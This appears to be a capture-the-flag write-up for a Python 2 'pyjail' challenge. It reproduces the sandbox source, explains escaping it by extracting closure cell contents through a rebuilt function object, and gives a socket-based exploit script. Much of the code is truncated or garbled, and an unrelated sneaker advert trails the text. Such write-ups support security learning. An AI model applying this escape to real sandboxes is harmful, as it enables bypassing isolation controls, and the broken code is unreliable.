Skip to content Skip to navigation

yet another pyjail


This task is new implementation of python sandbox.

import re
import sys
import string
from sys import stdout
sys.stderr = stdout

sanitize = re.compile(

trusted_builtins = """
    True False type int

alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
    if i in alphabet:
        t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))

EXPECTED = 13.37

del alphabet, t1, t2, i, sys, string, re

def clear_builtins():
    orig = __builtins__.__dict__.copy()
    for i in trusted_builtins:
        __builtins__.__dict__[i] = orig[i]

part1_of_flag = '******************'
part2_of_flag = '******************'
egg = 'egg'

def main():

    if raw_input() != 'leetleetleetleet':

    print ('Welcome to pyjail!\n\n'
           'Try to get the flag!\n'
           'Use ctrl+D or --- to submit your code\n')

    code = []
    total_bytes = 0
    while True:
            value = raw_input()
            total_bytes += len(value)
            assert total_bytes < 1337
            if value == '---':
        except EOFError:
    code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))

    def sandbox():

        t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0

        def exec_in_context(ctx):
            exec code in ctx
            print 'Flag is',
                assert FLAG != part1_of_flag
                print FLAG
                print '********************'

        def we_must_be_sure_flag_part1_is_ready():
            global FLAG
            FLAG = part1_of_flag

        def we_must_be_sure_flag_part2_is_ready():
            global FLAG
            FLAG += part2_of_flag

        def divider(v1):
            a = "You are lucky!"
            b = "Try again!"

            def divider(v2):
                i,t,s,  n,o,t,  s,o,  h,a,r,d
                if int(v1) / int(v2) == EXPECTED:
                    print a
                    print b
            return divider
        exec_in_context({'div': divider})


if __name__ == '__main__':

This time deleted all built-ins except (True, False, type, int) and appended some filters:
Let's write the script that connects to server, and sends simple CAPTCHA:

hSock = create_connection((host, port))

After this we can send some code, that will be executed in the sandbox, as context we can see function "divider" as "div":

As we can see all attributes with "__" are restricted: so magic like "div.__dict__" will not pass! The only methods of function we can use are:
"func_globals" looks like very helpful, but string "globals" is restricted, so we need another way

After reading some manuals, comes understanding, that "func_closure" could be very useful. It returns "cell" objects, that have information about all objects declared inside the function.
"Cell" object has method cell_contents, but string "contents" is restricted again!

After a lot of research was found magic method of getting content of cell without using restricted method

def get_cell_value(cell):
    return type(lambda: 0)(
        (lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)

So the 8th and 9th cells are functions, that make flag. We just need to call them

Full exploit file;

from socket import create_connection

host = ""
port = 1337
hSock = create_connection((host, port))
print hSock.recv(1024)
print hSock.recv(1024)
t = """
global EXPECTED, a, b
a = b = 5
print 0, EXPECTED
def get_cell_value(cell):
    return type(lambda: 0)(
        (lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)


print hSock.recv(1024)
print hSock.recv(1024)
Sports brands | 【国内5月2日発売予定】ナイキ ウィメンズ エアマックス ココ サンダル 全4色 - スニーカーウォーズ